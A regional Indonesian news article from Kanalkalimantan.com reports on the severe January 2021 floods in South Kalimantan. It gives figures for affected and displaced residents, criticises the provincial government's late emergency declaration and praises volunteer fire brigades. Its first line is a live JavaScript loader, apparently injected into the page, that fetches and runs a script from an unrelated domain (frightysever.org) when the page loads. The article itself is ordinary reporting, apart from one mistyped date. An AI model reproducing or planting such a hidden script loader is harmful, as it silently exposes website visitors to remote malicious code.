(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
(Litbang Kanalkalimantan.com)
KANALKALIMANTAN.COM, BANJARBARU– Banjir besar sepekan ini yang melanda Kalimantan Selatan (Kalsel) telah memberikan dampak begitu besar pada sisi-sisi kehidupan sosial dan ekonomi masyarakat banua.
Begitu luasnya wilayah yang terdampak dan masifnya jumlah pengungsi membuat Kalsel harus menetapkan masa tanggap darurat banjir. Tercatat saat ini ada 37.323 Kepala Keluarga (KK), dengan total 134.654 jiwa yang terdampak banjir di Banua. Dari jumlah itu, 33.007 jiwa di antaranya terpaksa harus mengungsi.
Data yang ini merupakan hasil rekapitulasi laporan harian Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalsel, hingga per 16 Januari 2021.
Melonjaknya jumlah warga terdampak di Kalsel, bersamaan dengan munculnya musibah banjir di beberapa wilayah baru. Yakni, di Kabupaten Hulu Sungai Selatan (HSS) dan Kabupaten Balangan. Faktor lainnya, lantaran semakin parahnya kondisi di wilayah yang lebih dulu dilanda banjir.
Kanalkalimantan.com telah melaporkan beragam dampak yang muncul akibat terjangan banjir. Mulai dari lumpuhnya akses jalan penghubung antar Kabupaten Kota, putusnya sejumlah jembatan, hingga beberapa bangunan rumah warga yang tersapu bersih arus air.
Sedari awal, BMKG mengirim sinyal peringatan ke seluruh wilayah di Kalsel akan adanya potensi bencana banjir. Tujuannya agar pemerintah daerah lebih siap dalam upaya penanganan nantinya. Bahkan setidaknya bisa melakukan upaya-upaya pencegahan, misalnya saja membangun embung atau memastikan drainase berfungsi optimal.
Toh pada akhirnya, banjir tak bisa terhindarkan. Bahkan, pada Januari 2021 ini dampaknya menjadi yang terparah dalam 10 tahun terakhir. Hal ini semakin melekatkan identitas Banua sebagai daerah yang tak pernah absen dari banjir siklus tahunan.
Respon Terlambat Pemerintah Provinsi Kalsel
Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor akhirnya menyatakan peningkatan status Siaga Darurat menjadi Tanggap Darurat terkait banjir di sejumlah kabupaten/kota pada hari Jumat (15/1/2020). Langkah tersebut menyikapi makin luasnya dampak musibah banjir terhadap warga.
Hal itu berdasarkan laporan kejadian bencana di 13 kabupaten/kota yang memiliki resiko tinggi terhadap bencana banjir, tanah longsor, angin puting beliung ,dan gelombang pasang. Ini dikhawatirkannya akan berdampak pada terganggunya aktivitas ekonomi, sosial dan kesehatan masyarakat.
Sebuah keputusan yang terlambat dilakukan Pemprov Kalsel dalam menyikapi persoalan banjir besar ini, beberapa hari sebelum dinyatakan sebagai wilayah Tanggap Darurat, banjir yang melanda telah begitu luas dan sudah memakan korban jiwa.
Status situasi Tanggap Darurat ini pun tidak diimbangi dengan pelaksanaan mitigasi bencana yang mumpuni di lapangan. Sarana dan prasana pendukung penanggulangan bencana banjir sangat minim, data dilapangan yang tidak sinkron mengenai jumlah wilayah dan warga yang terdampak menjadi persoalan pelik pada bencana banjir kali ini.
Barisan Pemadam Kebakaran Swadaya Masyarakat dan Relawan Kalsel
Kalimantan Selatan cukup beruntung memiliki begitu banyak barisan pemadam kebakaran swadaya yang tersebar diseluruh pelosok. Mereka ini lah pahlawan dan relawan sesungguhnya kala bencana di Kalsel. Tidak diketahui secara pasti berapa banyak jumlah dan sebaran barisan pemadam kebakaran swadaya ini.
Mereka yang sejatinya terbiasa berjibaku dengan kebakaran kini tiba-tiba telah hadir di pusat-pusat banjir, membantu evakuasi dan membagikan logistik bagi warga yang terdampak banjir. Hadir tanpa diminta dan bekerja tanpa pamrih adalah sebuah kekuatan besar para relawan ini. Didukung oleh kekuatan media sosial para netizen yang dengan gencar membagikan informasi-informasi terkait banjir, dimulai dari wilayah yang terdampak, warga yang butuh evakuasi, logistik dan lain-lain dan barisan relawan BPK ini mampu meresponnya dengan cepat.
Warga yang tidak terdampak pun tidak tinggal diam, aktif melakukan penggalangan dana, mendirikan dapur umum, membagikan logistik, dan bahkan menyiakan rumah pribadi untuk para pengungsi, ini adalah sebuah semangat kebersamaan yang luar biasa, ini adalah Banua dan ini adalah Indonesia
Pemerintah Provinsi harus belajar dari semangat dan militansi para relawan BPK dan warga Kalsel. Tengoklah warga Banua yang mampu bekerja sama hadapi dan atasi bencana tanpa komando.
Akan menjadi sebuah hal yang elok kalau Pemerintah Kalsel mampu memberikan perhatian khusus dan lebih bagi barisan relawan BPK ini, penyediaan pelatihan darurat kebencanaan yang berkesinambungan dan penyediaan sarana dan prasana akan menjadi sebuah hal positif yang akan membantu Kalsel lebih siap dalam menghadapi bencana.
Jenderal James Doolittle, seorang mantan pilot Amerika di perang pasifik pernah berkata ““There is nothing stronger than the heart of a volunteer,” – Tak Ada yang Lebih Kuat dari Hati (Semangat) Para Relawan.(kanalkalimantan/tim/andy)
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
This website uses cookies.